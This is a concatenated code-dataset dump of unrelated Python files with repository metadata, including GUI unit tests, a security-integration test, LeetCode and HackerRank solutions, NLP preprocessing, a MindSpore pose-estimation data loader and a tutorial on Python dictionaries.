def test_end_date_before_start_date(
self, mock_warning, mock_dialog) -> None:
"""Test clicking start with end date set before start date."""
self.set_date_combo_boxes(5, 6, 11, 5)
self.form.push_button_start.click()
# Check that QMessageBox was opened and ProgressWindow was not
mock_warning.assert_called_once_with(
self.form,
'Start date is after end date!',
'Start date must be before end date!')
self.assertFalse(mock_dialog.called, 'ProgressWindow was opened!')
@unittest.mock.patch('easyp2p.ui.main_window.ProgressWindow')
def test_push_start_button_with_bondora_selected(self, mock_dialog) -> None:
"""Test pushing start button after selecting Bondora."""
self.form.check_box_bondora.setChecked(True)
self.set_date_combo_boxes(8, 8, 1, 9)
QLineEdit.setText(self.form.line_edit_output_file, 'Test.xlsx')
self.form.push_button_start.click()
# Check that ProgressWindow opened
mock_dialog.assert_called_once_with(self.form.settings)
# Check that all settings are correct
self.assertEqual(self.form.settings.platforms, {'Bondora'})
self.assertEqual(
self.form.settings.date_range,
(date(2018, 9, 1), date(2019, 2, 28)))
self.assertEqual(self.form.settings.output_file, 'Test.xlsx')
@unittest.mock.patch('easyp2p.ui.main_window.ProgressWindow')
def test_push_start_button_with_increasing_number_of_platforms_selected(
self, mock_dialog) -> None:
"""
Test push start button with increasing number of selected platforms.
"""
self.set_date_combo_boxes(8, 8, 1, 9)
QLineEdit.setText(self.form.line_edit_output_file, 'Test.xlsx')
selected_platforms = set()
for platform in self.PLATFORMS:
check_box = getattr(self.form, 'check_box_' + platform.lower())
check_box.setChecked(True)
selected_platforms.add(platform)
self.form.push_button_start.click()
# Check that ProgressWindow opened
mock_dialog.assert_called_once_with(self.form.settings)
mock_dialog.reset_mock()
# Check that all settings are correct
self.assertEqual(self.form.settings.platforms, selected_platforms)
self.assertEqual(
self.form.settings.date_range,
(date(2018, 9, 1), date(2019, 2, 28)))
self.assertEqual(self.form.settings.output_file, 'Test.xlsx')
@unittest.mock.patch('easyp2p.ui.main_window.SettingsWindow')
def test_push_tool_button_settings(self, mock_dialog) -> None:
"""Test pushing settings button."""
self.form.tool_button_settings.click()
# Check that SettingsWindow opened
mock_dialog.assert_called_once_with(
self.form.get_platforms(False), self.form.settings)
def test_change_language_to_german(self) -> None:
"""Test changing the language to German."""
self.form.action_german.trigger()
all_months = {
self.form.combo_box_start_month.itemText(i) for i in
range(self.form.combo_box_start_month.count())}
all_months_expected = {
QLocale('de_de').monthName(i, 1) for i in range(1, 13)}
self.assertEqual('Startdatum', self.form.groupBox_start_date.title())
self.assertEqual(all_months_expected, all_months)
def test_change_language_to_german_to_english(self) -> None:
"""Test changing the language to German and then back to English."""
self.form.action_german.trigger()
self.form.action_english.trigger()
all_months = {
self.form.combo_box_start_month.itemText(i) for i in
range(self.form.combo_box_start_month.count())}
all_months_expected = {
QLocale('en_US').monthName(i, 1) for i in range(1, 13)}
self.assertEqual(self.form.groupBox_start_date.title(), 'Start date')
self.assertEqual(all_months, all_months_expected)
def test_change_language_to_german_after_date_update(self) -> None:
"""
Test changing the language to German if the dates have been changed.
"""
self.set_date_combo_boxes(4, 7, 11, 8)
self.form.action_german.trigger()
self.assertEqual(
QLocale('de_de').monthName(5, 1),
self.form.combo_box_start_month.currentText())
self.assertEqual(
'2017', self.form.combo_box_start_year.currentText())
self.assertEqual(
QLocale('de_de').monthName(12, 1),
self.form.combo_box_end_month.currentText())
self.assertEqual(
'2018', self.form.combo_box_end_year.currentText())
if __name__ == "__main__":
unittest.main()
| 41.684932 | 80 | 0.669898 |
b31a614e9fdad950b6103bf4c802c1acbca2334e
| 1,122 |
py
|
Python
|
Packs/ShiftLeft/Integrations/shiftleft/shiftleft_test.py
|
diCagri/content
|
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
|
[
"MIT"
] | 799 |
2016-08-02T06:43:14.000Z
|
2022-03-31T11:10:11.000Z
|
Packs/ShiftLeft/Integrations/shiftleft/shiftleft_test.py
|
diCagri/content
|
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
|
[
"MIT"
] | 9,317 |
2016-08-07T19:00:51.000Z
|
2022-03-31T21:56:04.000Z
|
Packs/ShiftLeft/Integrations/shiftleft/shiftleft_test.py
|
diCagri/content
|
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
|
[
"MIT"
] | 1,297 |
2016-08-04T13:59:00.000Z
|
2022-03-31T23:43:06.000Z
|
"""Base Integration for ShiftLeft CORE - Cortex XSOAR Extension
"""
import json
import io
from shiftleft import list_app_findings_command, ShiftLeftClient
def util_load_json(path):
with io.open(path, mode="r", encoding="utf-8") as f:
return json.loads(f.read())
def test_list_app_findings_command(requests_mock):
"""Tests list_app_findings_command function.
Checks the output of the command function with the expected output.
"""
mock_response = util_load_json("test_data/test_list_findings.json")
requests_mock.get(
"https://www.shiftleft.io/orgs/2c089ac1-3378-44d5-94da-9507e84351c3/apps/shiftleft-java-example/findings",
json=mock_response,
)
client = ShiftLeftClient(
base_url="https://www.shiftleft.io", # disable-secrets-detection
verify=False,
)
args = {
"app_name": "shiftleft-java-example",
"severity": "critical",
"type": ["vuln"],
"version": None,
}
response = list_app_findings_command(
client, "2c089ac1-3378-44d5-94da-9507e84351c3", args
)
assert response.outputs
| 28.769231 | 114 | 0.682709 |
b336dfd4f06633eb05d75f4fdb5a06c0dcb65ff7
| 1,590 |
py
|
Python
|
python_experiments/paper_figures/tkde/data_legacy/eval_varying_eps_c_pcg.py
|
RapidsAtHKUST/SimRank
|
3a601b08f9a3c281e2b36b914e06aba3a3a36118
|
[
"MIT"
] | 8 |
2020-04-14T23:17:00.000Z
|
2021-06-21T12:34:04.000Z
|
python_experiments/paper_figures/tkde/data_legacy/eval_varying_eps_c_pcg.py
|
RapidsAtHKUST/SimRank
|
3a601b08f9a3c281e2b36b914e06aba3a3a36118
|
[
"MIT"
] | null | null | null |
python_experiments/paper_figures/tkde/data_legacy/eval_varying_eps_c_pcg.py
|
RapidsAtHKUST/SimRank
|
3a601b08f9a3c281e2b36b914e06aba3a3a36118
|
[
"MIT"
] | 1 |
2021-01-17T16:26:50.000Z
|
2021-01-17T16:26:50.000Z
|
import json
if __name__ == '__main__':
with open('varying_eps_c.dicts') as ifs:
pcg_varying_eps_cpu = eval(ifs.readline())
pcg_varying_eps_mem = eval(ifs.readline())
pcg_varying_c_cpu = eval(ifs.readline())
pcg_varying_c_mem = eval(ifs.readline())
pcg_tag = 'pcg'
with open('pcg-varying-eps-cpu.json', 'w') as ofs:
ofs.write(json.dumps({
pcg_tag: {
'0.6':
pcg_varying_eps_cpu
}
}, indent=4))
with open('pcg-varying-eps-mem.json', 'w') as ofs:
ofs.write(json.dumps({
pcg_tag: {
'0.6':
pcg_varying_eps_mem
}
}, indent=4))
with open('pcg-varying-eps-cpu.json', 'w') as ofs:
ofs.write(json.dumps({
pcg_tag: {
'0.6':
pcg_varying_eps_cpu
}
}, indent=4))
def combine(data: dict, extra):
res = dict()
for c, val in data.items():
res[c] = {extra: val}
return res
with open('pcg-varying-c-cpu.json', 'w') as ofs:
ofs.write(json.dumps({
pcg_tag:
combine(pcg_varying_c_cpu, '0.01')
}, indent=4))
with open('pcg-varying-c-mem.json', 'w') as ofs:
ofs.write(json.dumps({
pcg_tag:
combine(pcg_varying_c_mem, '0.01')
}, indent=4))
| 27.894737 | 58 | 0.445283 |
b3539ffc66bede449c55231a9b0e75f5780ee2ee
| 128 |
py
|
Python
|
434-number-of-segments-in-a-string/434-number-of-segments-in-a-string.py
|
hyeseonko/LeetCode
|
48dfc93f1638e13041d8ce1420517a886abbdc77
|
[
"MIT"
] | 2 |
2021-12-05T14:29:06.000Z
|
2022-01-01T05:46:13.000Z
|
434-number-of-segments-in-a-string/434-number-of-segments-in-a-string.py
|
hyeseonko/LeetCode
|
48dfc93f1638e13041d8ce1420517a886abbdc77
|
[
"MIT"
] | null | null | null |
434-number-of-segments-in-a-string/434-number-of-segments-in-a-string.py
|
hyeseonko/LeetCode
|
48dfc93f1638e13041d8ce1420517a886abbdc77
|
[
"MIT"
] | null | null | null |
class Solution:
def countSegments(self, s: str) -> int:
return sum([1 for letter in s.strip().split(" ") if letter])
| 42.666667 | 68 | 0.625 |
446236fdcdb79bd05ce93e13267607c7ab6079e6
| 752 |
py
|
Python
|
leetcode/039-Combination-Sum/CombinationSum_001.py
|
cc13ny/all-in
|
bc0b01e44e121ea68724da16f25f7e24386c53de
|
[
"MIT"
] | 1 |
2017-05-18T06:11:02.000Z
|
2017-05-18T06:11:02.000Z
|
leetcode/039-Combination-Sum/CombinationSum_001.py
|
cc13ny/all-in
|
bc0b01e44e121ea68724da16f25f7e24386c53de
|
[
"MIT"
] | 1 |
2016-02-09T06:00:07.000Z
|
2016-02-09T07:20:13.000Z
|
leetcode/039-Combination-Sum/CombinationSum_001.py
|
cc13ny/all-in
|
bc0b01e44e121ea68724da16f25f7e24386c53de
|
[
"MIT"
] | 2 |
2019-06-27T09:07:26.000Z
|
2019-07-01T04:40:13.000Z
|
class Solution:
# @param {integer[]} candidates
# @param {integer} target
# @return {integer[][]}
def combinationSum(self, candidates, target):
candidates.sort()
return self.combsum(candidates, target)
def combsum(self, nums, target):
if target == 0:
return [[]]
if not nums or nums[0] > target or target < 1:
return []
res = []
for i in range(len(nums)):
num = nums[i]
pre = [num]
t = target
while t >= num:
t -= num
subs = self.combsum(nums[i + 1:], t)
for sub in subs:
res.append(pre + sub)
pre += [num]
return res
| 27.851852 | 54 | 0.458777 |
928bbe7491fdbc0a0f928ea52f2ec3bc8d5bb842
| 323 |
py
|
Python
|
python/python.py
|
TimVan1596/ACM-ICPC
|
07f7d728db1ecd09c5a3d0f05521930b14eb9883
|
[
"Apache-2.0"
] | 1 |
2019-05-22T07:12:34.000Z
|
2019-05-22T07:12:34.000Z
|
python/python.py
|
TimVan1596/ACM-ICPC
|
07f7d728db1ecd09c5a3d0f05521930b14eb9883
|
[
"Apache-2.0"
] | 3 |
2021-12-10T01:13:54.000Z
|
2021-12-14T21:18:42.000Z
|
python/python.py
|
TimVan1596/ACM-ICPC
|
07f7d728db1ecd09c5a3d0f05521930b14eb9883
|
[
"Apache-2.0"
] | null | null | null |
import xlwt
if __name__ == '__main__':
workbook = xlwt.Workbook(encoding='utf-8') # 创建workbook 对象
worksheet = workbook.add_sheet('sheet1') # 创建工作表sheet
# 往表中写内容,第一各参数 行,第二个参数列,第三个参数内容
worksheet.write(0, 0, 'hello world')
worksheet.write(0, 1, '你好')
workbook.save('first.xls') # 保存表为students.xls
| 32.3 | 63 | 0.674923 |
5bc0cb9ffa299ad9d23aa50d9179c1903fd178ee
| 811 |
py
|
Python
|
PSA/modules/BroEventDispatcher.py
|
SECURED-FP7/secured-psa-nsm
|
20c8f790ebc2d2aa8c33bda1e047f8f29275a0be
|
[
"Apache-2.0"
] | null | null | null |
PSA/modules/BroEventDispatcher.py
|
SECURED-FP7/secured-psa-nsm
|
20c8f790ebc2d2aa8c33bda1e047f8f29275a0be
|
[
"Apache-2.0"
] | null | null | null |
PSA/modules/BroEventDispatcher.py
|
SECURED-FP7/secured-psa-nsm
|
20c8f790ebc2d2aa8c33bda1e047f8f29275a0be
|
[
"Apache-2.0"
] | null | null | null |
# -*- Mode:Python;indent-tabs-mode:nil; -*-
#
# BroEventDispatcher.py
#
# A simple event dispatcher.
#
# Author: jju / VTT Technical Research Centre of Finland Ltd., 2016
#
import logging
callbacks = { }
def init():
pass
def register( key, obj ):
"""
Register a callback for key 'key'
"""
global callbacks
callbacks[ key ] = obj
def unregister( key ):
"""
Unregisters callback for key 'key'
"""
global callbacks
del callbacks[ key ]
def dispatch( key, data ):
"""
Dispatch event 'data' to the callback registered for key 'key'
"""
global callbacks
try:
cb = callbacks[ key ]
if cb != None:
cb.onEvent( data )
except Exception as e:
logging.warning( 'No dispatcher for key: ' + key + ': ' + str( e ) )
| 19.309524 | 76 | 0.588163 |
753fe1a1faf722bc2fb2591309f0654b5a03e396
| 3,615 |
py
|
Python
|
data_preprocessing/preprocessing_text.py
|
florianfricke/Bachelor_Thesis_Sentiment_Analyse
|
aa1fa95cfbc13115ee60baaf79eab0d1940998ab
|
[
"MIT"
] | 1 |
2020-06-04T13:20:45.000Z
|
2020-06-04T13:20:45.000Z
|
data_preprocessing/preprocessing_text.py
|
florianfricke/Bachelor_Thesis_Sentiment_Analyse
|
aa1fa95cfbc13115ee60baaf79eab0d1940998ab
|
[
"MIT"
] | 6 |
2020-06-03T18:45:11.000Z
|
2022-02-10T01:51:03.000Z
|
data_preprocessing/preprocessing_text.py
|
florianfricke/Bachelor_Thesis_Sentiment_Analyse
|
aa1fa95cfbc13115ee60baaf79eab0d1940998ab
|
[
"MIT"
] | null | null | null |
"""
Created by Florian Fricke.
"""
from ekphrasis.classes.preprocessor import TextPreProcessor
from ekphrasis.classes.tokenizer import SocialTokenizer
from ekphrasis.dicts.emoticons import emoticons
from textblob_de.lemmatizers import PatternParserLemmatizer
from tqdm import tqdm
from nltk.corpus import stopwords
from utilities.utilities import transform_data
import pickle
class PreprocessingText:
def __init__(self, text, **kwargs):
self.text = text
self.text_processor = TextPreProcessor(
# terms that will be normalize e.g. [email protected] to <email>
normalize=['url', 'email', 'percent', 'money', 'phone', 'user',
'time', 'date', 'number'],
# terms that will be annotated e.g. <hashtag>#test</hashtag>
annotate={"hashtag", "allcaps", "elongated", "repeated",
'emphasis'},
fix_html=True, # fix HTML tokens
unpack_hashtags=True, # perform word segmentation on hashtags
# select a tokenizer. You can use SocialTokenizer, or pass your own if not text tokenized on whitespace
# the tokenizer, should take as input a string and return a list of tokens
tokenizer=SocialTokenizer(lowercase=True).tokenize,
# list of dictionaries, for replacing tokens extracted from the text,
# with other expressions. You can pass more than one dictionaries.
dicts=[emoticons]
)
def remove_stopwords(self, data):
stop_ger = stopwords.words('german')
allowed_stopwords = ['kein', 'keine', 'keinem',
'keinen', 'keiner', 'keines', 'nicht', 'nichts']
for a in allowed_stopwords:
stop_ger.remove(a)
customstopwords = ['rt', 'mal', 'heute', 'gerade', 'erst', 'macht', 'eigentlich', 'warum',
'gibt', 'gar', 'immer', 'schon', 'beim', 'ganz', 'dass', 'wer', 'mehr', 'gleich', 'wohl']
normalizedwords = ['<url>', '<email>', '<percent>', 'money>',
'<phone>', '<user>', '<time>', '<url>', '<date>', '<number>']
stop_ger = stop_ger + customstopwords + normalizedwords
clean_data = []
if(type(data) == list):
for d in data:
data_stop_words = []
for word in d:
if word not in stop_ger:
data_stop_words.append(word)
clean_data.append(data_stop_words)
if(type(data) == str):
words = data.split()
for word in words:
if word not in stop_ger:
clean_data.append(word)
return clean_data
def lemmatize_words(self, data):
_lemmatizer = PatternParserLemmatizer()
lemmatized_data = []
if(type(data) == list):
for d in data:
text = ""
for word in d:
text = text + " " + word
l = _lemmatizer.lemmatize(text)
lemmatized_data.append([i[0] for i in l])
if(type(data) == str):
l = _lemmatizer.lemmatize(data)
lemmatized_data.append([i[0] for i in l])
return lemmatized_data
def ekphrasis_preprocessing(self):
X_clean = []
if(type(self.text) == str):
X_clean.append(self.text_processor.pre_process_doc(self.text))
if(type(self.text) == list):
for row in tqdm(self.text):
X_clean.append(self.text_processor.pre_process_doc(row))
return X_clean
| 40.166667 | 116 | 0.569018 |
3436f635d8613460ab87260b18e59734a16de86f
| 826 |
py
|
Python
|
Algorithms/5_Searching/11.py
|
abphilip-codes/Hackerrank_DSA
|
bb9e233d9d45c5b14c138830602695ad4113fba4
|
[
"MIT"
] | 1 |
2021-11-25T13:39:30.000Z
|
2021-11-25T13:39:30.000Z
|
Algorithms/5_Searching/11.py
|
abphilip-codes/Hackerrank_DSA
|
bb9e233d9d45c5b14c138830602695ad4113fba4
|
[
"MIT"
] | null | null | null |
Algorithms/5_Searching/11.py
|
abphilip-codes/Hackerrank_DSA
|
bb9e233d9d45c5b14c138830602695ad4113fba4
|
[
"MIT"
] | null | null | null |
# https://www.hackerrank.com/challenges/short-palindrome/problem
#!/bin/python3
import math
import os
import random
import re
import sys
#
# Complete the 'shortPalindrome' function below.
#
# The function is expected to return an INTEGER.
# The function accepts STRING s as parameter.
#
def shortPalindrome(s):
ans = mod = 10**9 + 7
a = [0] * 26 ** 1
b = [0] * 26 ** 2
c = [0] * 26 ** 3
for z in s:
k = ord(z)-97
x = 26*k-1
y = k-26
for w in range(26):
y+=26
x+=1
ans+=c[y]
c[x]+=b[x]
b[x]+=a[w]
a[k]+=1
return ans%mod
if __name__ == '__main__':
fptr = open(os.environ['OUTPUT_PATH'], 'w')
s = input()
result = shortPalindrome(s)
fptr.write(str(result) + '\n')
fptr.close()
| 18.355556 | 64 | 0.531477 |
cad795ae9dd6135d51053b4f8de0331e4efd6df4
| 422 |
py
|
Python
|
prices/admin.py
|
KazuruK/FilmGetter
|
fd84bcaddf17d4b89ad6e5d27095535346c5f4a9
|
[
"BSD-3-Clause"
] | 1 |
2021-06-23T13:06:11.000Z
|
2021-06-23T13:06:11.000Z
|
prices/admin.py
|
KazuruK/FilmGetter
|
fd84bcaddf17d4b89ad6e5d27095535346c5f4a9
|
[
"BSD-3-Clause"
] | 1 |
2021-06-23T21:21:52.000Z
|
2021-06-23T21:21:52.000Z
|
prices/admin.py
|
KazuruK/FilmGetter
|
fd84bcaddf17d4b89ad6e5d27095535346c5f4a9
|
[
"BSD-3-Clause"
] | 1 |
2021-06-28T19:14:19.000Z
|
2021-06-28T19:14:19.000Z
|
from django.contrib import admin
# Register your models here.
from prices.models import IdDB
class IdDBAdmin(admin.ModelAdmin):
list_display = (
'kinopoisk_id',
'title',
'title_en',
'year',
'date_created',
'price',)
search_fields = ('kinopoisk_id', 'title',)
list_filter = ('year',)
empty_value_display = '-пусто-'
admin.site.register(IdDB, IdDBAdmin)
| 19.181818 | 46 | 0.620853 |
1b4e40b3667a2b8543c968bbe653fc8de682b7a8
| 99 |
py
|
Python
|
packages/watchmen-pipeline-surface/src/watchmen_pipeline_surface/connectors/__init__.py
|
Indexical-Metrics-Measure-Advisory/watchmen
|
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
|
[
"MIT"
] | null | null | null |
packages/watchmen-pipeline-surface/src/watchmen_pipeline_surface/connectors/__init__.py
|
Indexical-Metrics-Measure-Advisory/watchmen
|
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
|
[
"MIT"
] | null | null | null |
packages/watchmen-pipeline-surface/src/watchmen_pipeline_surface/connectors/__init__.py
|
Indexical-Metrics-Measure-Advisory/watchmen
|
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
|
[
"MIT"
] | null | null | null |
from .kafka import init_kafka, KafkaSettings
from .rabbitmq import init_rabbitmq, RabbitmqSettings
| 33 | 53 | 0.858586 |
1ba5d06c5362ae2cf5a563053ad286ea87461d19
| 632 |
py
|
Python
|
frappe-bench/apps/erpnext/erpnext/buying/doctype/supplier_scorecard_standing/supplier_scorecard_standing.py
|
Semicheche/foa_frappe_docker
|
a186b65d5e807dd4caf049e8aeb3620a799c1225
|
[
"MIT"
] | 1 |
2021-04-29T14:55:29.000Z
|
2021-04-29T14:55:29.000Z
|
frappe-bench/apps/erpnext/erpnext/buying/doctype/supplier_scorecard_standing/supplier_scorecard_standing.py
|
Semicheche/foa_frappe_docker
|
a186b65d5e807dd4caf049e8aeb3620a799c1225
|
[
"MIT"
] | null | null | null |
frappe-bench/apps/erpnext/erpnext/buying/doctype/supplier_scorecard_standing/supplier_scorecard_standing.py
|
Semicheche/foa_frappe_docker
|
a186b65d5e807dd4caf049e8aeb3620a799c1225
|
[
"MIT"
] | 1 |
2021-04-29T14:39:01.000Z
|
2021-04-29T14:39:01.000Z
|
# -*- coding: utf-8 -*-
# Copyright (c) 2017, Frappe Technologies Pvt. Ltd. and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
class SupplierScorecardStanding(Document):
pass
@frappe.whitelist()
def get_scoring_standing(standing_name):
standing = frappe.get_doc("Supplier Scorecard Standing", standing_name)
return standing
@frappe.whitelist()
def get_standings_list():
standings = frappe.db.sql("""
SELECT
scs.name
FROM
`tabSupplier Scorecard Standing` scs""",
{}, as_dict=1)
return standings
| 21.793103 | 72 | 0.761076 |
941da2ff708ac753a5e6740d5eb4d1133bc1a2b2
| 120 |
py
|
Python
|
python/coursera_python/WESLEYAN/week1/1.py
|
SayanGhoshBDA/code-backup
|
8b6135facc0e598e9686b2e8eb2d69dd68198b80
|
[
"MIT"
] | 16 |
2018-11-26T08:39:42.000Z
|
2019-05-08T10:09:52.000Z
|
python/coursera_python/WESLEYAN/week1/1.py
|
SayanGhoshBDA/code-backup
|
8b6135facc0e598e9686b2e8eb2d69dd68198b80
|
[
"MIT"
] | 8 |
2020-05-04T06:29:26.000Z
|
2022-02-12T05:33:16.000Z
|
python/coursera_python/WESLEYAN/week1/1.py
|
SayanGhoshBDA/code-backup
|
8b6135facc0e598e9686b2e8eb2d69dd68198b80
|
[
"MIT"
] | 5 |
2020-02-11T16:02:21.000Z
|
2021-02-05T07:48:30.000Z
|
def problem1_1():
print("Problem Set 1")
pass # replace this pass (a do-nothing) statement with your code
| 20 | 68 | 0.658333 |
94228f07bd58a62807a2239f88f4d780e3989c40
| 5,892 |
py
|
Python
|
research/cv/StackedHourglass/src/dataset/DatasetGenerator.py
|
leelige/mindspore
|
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
|
[
"Apache-2.0"
] | 1 |
2021-11-18T08:17:44.000Z
|
2021-11-18T08:17:44.000Z
|
research/cv/StackedHourglass/src/dataset/DatasetGenerator.py
|
leelige/mindspore
|
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
|
[
"Apache-2.0"
] | null | null | null |
research/cv/StackedHourglass/src/dataset/DatasetGenerator.py
|
leelige/mindspore
|
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
|
[
"Apache-2.0"
] | 2 |
2019-09-01T06:17:04.000Z
|
2019-10-04T08:39:45.000Z
|
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""
dataset classes
"""
import cv2
import numpy as np
import src.utils.img
from src.dataset.MPIIDataLoader import flipped_parts
class GenerateHeatmap:
"""
get train target heatmap
"""
def __init__(self, output_res, num_parts):
self.output_res = output_res
self.num_parts = num_parts
sigma = self.output_res / 64
self.sigma = sigma
size = 6 * sigma + 3
x = np.arange(0, size, 1, float)
y = x[:, np.newaxis]
x0, y0 = 3 * sigma + 1, 3 * sigma + 1
self.g = np.exp(-((x - x0) ** 2 + (y - y0) ** 2) / (2 * sigma ** 2))
def __call__(self, keypoints):
hms = np.zeros(shape=(self.num_parts, self.output_res, self.output_res), dtype=np.float32)
sigma = self.sigma
for p in keypoints:
for idx, pt in enumerate(p):
if pt[0] > 0:
x, y = int(pt[0]), int(pt[1])
if x < 0 or y < 0 or x >= self.output_res or y >= self.output_res:
continue
ul = int(x - 3 * sigma - 1), int(y - 3 * sigma - 1)
br = int(x + 3 * sigma + 2), int(y + 3 * sigma + 2)
c, d = max(0, -ul[0]), min(br[0], self.output_res) - ul[0]
a, b = max(0, -ul[1]), min(br[1], self.output_res) - ul[1]
cc, dd = max(0, ul[0]), min(br[0], self.output_res)
aa, bb = max(0, ul[1]), min(br[1], self.output_res)
hms[idx, aa:bb, cc:dd] = np.maximum(hms[idx, aa:bb, cc:dd], self.g[a:b, c:d])
return hms
class DatasetGenerator:
"""
mindspore general dataset generator
"""
def __init__(self, input_res, output_res, ds, index):
self.input_res = input_res
self.output_res = output_res
self.generateHeatmap = GenerateHeatmap(self.output_res, 16)
self.ds = ds
self.index = index
def __len__(self):
return len(self.index)
def __getitem__(self, idx):
# print(f"loading...{idx}")
return self.loadImage(self.index[idx])
def loadImage(self, idx):
"""
load and preprocess image
"""
ds = self.ds
# Load + Crop
orig_img = ds.get_img(idx)
orig_keypoints = ds.get_kps(idx)
kptmp = orig_keypoints.copy()
c = ds.get_center(idx)
s = ds.get_scale(idx)
cropped = src.utils.img.crop(orig_img, c, s, (self.input_res, self.input_res))
for i in range(np.shape(orig_keypoints)[1]):
if orig_keypoints[0, i, 0] > 0:
orig_keypoints[0, i, :2] = src.utils.img.transform(
orig_keypoints[0, i, :2], c, s, (self.input_res, self.input_res)
)
keypoints = np.copy(orig_keypoints)
# Random Crop
height, width = cropped.shape[0:2]
center = np.array((width / 2, height / 2))
scale = max(height, width) / 200
aug_rot = 0
aug_rot = (np.random.random() * 2 - 1) * 30.0
aug_scale = np.random.random() * (1.25 - 0.75) + 0.75
scale *= aug_scale
mat_mask = src.utils.img.get_transform(center, scale, (self.output_res, self.output_res), aug_rot)[:2]
mat = src.utils.img.get_transform(center, scale, (self.input_res, self.input_res), aug_rot)[:2]
inp = cv2.warpAffine(cropped, mat, (self.input_res, self.input_res)).astype(np.float32) / 255
keypoints[:, :, 0:2] = src.utils.img.kpt_affine(keypoints[:, :, 0:2], mat_mask)
if np.random.randint(2) == 0:
inp = self.preprocess(inp)
inp = inp[:, ::-1]
keypoints = keypoints[:, flipped_parts["mpii"]]
keypoints[:, :, 0] = self.output_res - keypoints[:, :, 0]
orig_keypoints = orig_keypoints[:, flipped_parts["mpii"]]
orig_keypoints[:, :, 0] = self.input_res - orig_keypoints[:, :, 0]
# If keypoint is invisible, set to 0
for i in range(np.shape(orig_keypoints)[1]):
if kptmp[0, i, 0] == 0 and kptmp[0, i, 1] == 0:
keypoints[0, i, 0] = 0
keypoints[0, i, 1] = 0
orig_keypoints[0, i, 0] = 0
orig_keypoints[0, i, 1] = 0
# Generate target heatmap
heatmaps = self.generateHeatmap(keypoints)
return inp.astype(np.float32), heatmaps.astype(np.float32)
def preprocess(self, data):
"""
preprocess images
"""
# Random hue and saturation
data = cv2.cvtColor(data, cv2.COLOR_RGB2HSV)
delta = (np.random.random() * 2 - 1) * 0.2
data[:, :, 0] = np.mod(data[:, :, 0] + (delta * 360 + 360.0), 360.0)
delta_sature = np.random.random() + 0.5
data[:, :, 1] *= delta_sature
data[:, :, 1] = np.maximum(np.minimum(data[:, :, 1], 1), 0)
data = cv2.cvtColor(data, cv2.COLOR_HSV2RGB)
# Random brightness
delta = (np.random.random() * 2 - 1) * 0.3
data += delta
# Random contrast
mean = data.mean(axis=2, keepdims=True)
data = (data - mean) * (np.random.random() + 0.5) + mean
data = np.minimum(np.maximum(data, 0), 1)
return data
| 36.37037 | 110 | 0.54888 |
ca1b5eb38de0a406ce502a3a1fd87938d360c350
| 3,498 |
py
|
Python
|
python/en/_numpy/python_numpy_tutorial/python_numpy_tutorial-python-containers_dictionary.py
|
aimldl/coding
|
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
|
[
"MIT"
] | null | null | null |
python/en/_numpy/python_numpy_tutorial/python_numpy_tutorial-python-containers_dictionary.py
|
aimldl/coding
|
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
|
[
"MIT"
] | null | null | null |
python/en/_numpy/python_numpy_tutorial/python_numpy_tutorial-python-containers_dictionary.py
|
aimldl/coding
|
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CS231n Convolutional Neural Networks for Visual Recognition
http://cs231n.github.io/
Python Numpy Tutorial
http://cs231n.github.io/python-numpy-tutorial/
 ̄
python_numpy_tutorial-python-containers_dictionary.py
2019-07-03 (Wed)
"""
# Python Numpy Tutorial > Python > Containers
# Python's built-in container types:
# lists, dictionaries, sets, and tuples.
#
# (Python) Lists
# a mutable ordered list of values.
# A list is the Python equivalent of an array with useful functions.
# A Python list is resizeable and
# can contain elements of different types.
#
# Dictionaries
# stores key-value pairs
#
# Sets
# an unordered collection of distinct elements.
#
# Tuples
# an immutable ordered list of values.
# A tuple is similar to a list, but different in that
# tuples can be used as keys in dictionaries and
# as elements of sets.
#
# =[,,] (Python) list ~= Dynamic array (with useful functions)
# ={:,:,:} Dictionary ~= Map
# ={,,} Set = Set
# =(,) Tuples ~= (Python) list
#
# This example covers:
# Lists
# Slicing
# A concise syntax to access sublists.
# Loops
# You can loop over the elements of a list.
# The enumerate function returns the index & value.
# List comprehensions
# A concise way to loop through a list.
# e.g. 3 lines of code -> 1 line of code
#
# Dictionaries
# (Basics)
# Loops
# Dictionary comprehensions
#
# Sets
# (Basics)
# Loops
# Iterating over a set has the same syntax as a list.
# However you cannot make assumptions about the order.
# Set comprehensions
# Like list comprehension & dictionary comprehension,
# constructing a set is easy with set comprehensions.
#
# Tuple
# (Basics)
#
# Read more about:
# 4.6.4. Lists¶
# https://docs.python.org/3.5/library/stdtypes.html#lists
#
# 4.9. Set Types — set, frozenset¶
# https://docs.python.org/3.5/library/stdtypes.html#set
#
# 4.10. Mapping Types — dict
# https://docs.python.org/3.5/library/stdtypes.html#dict
#
# 5.3. Tuples and Sequences
# https://docs.python.org/3.5/tutorial/datastructures.html#tuples-and-sequences
print('Dictionary')
# Create a new dictionary
d = {'cat':'cute','dog':'furry'}
print( d )
#{'cat': 'cute', 'dog': 'furry'}
print( d['cat'] )
# cute
# Check if a dictionary has 'cat'.
print( 'cat' in d )
# True
# Set an entry in the dictionary.
d['fish'] = 'wet'
print( d['fish'] )
# wet
print( d )
#{'cat': 'cute', 'dog': 'furry', 'fish': 'wet'}
# Get an element with a default
print( d.get('monkey', 'N/A') )
# N/A
# because 'monkey' is not there, prints N/A
# Get an element with a default
print( d.get('fish','N/A') )
#wet
# because 'fish' is there, prints the value of it!
del d['fish']
print( d.get('fish','N/A') )
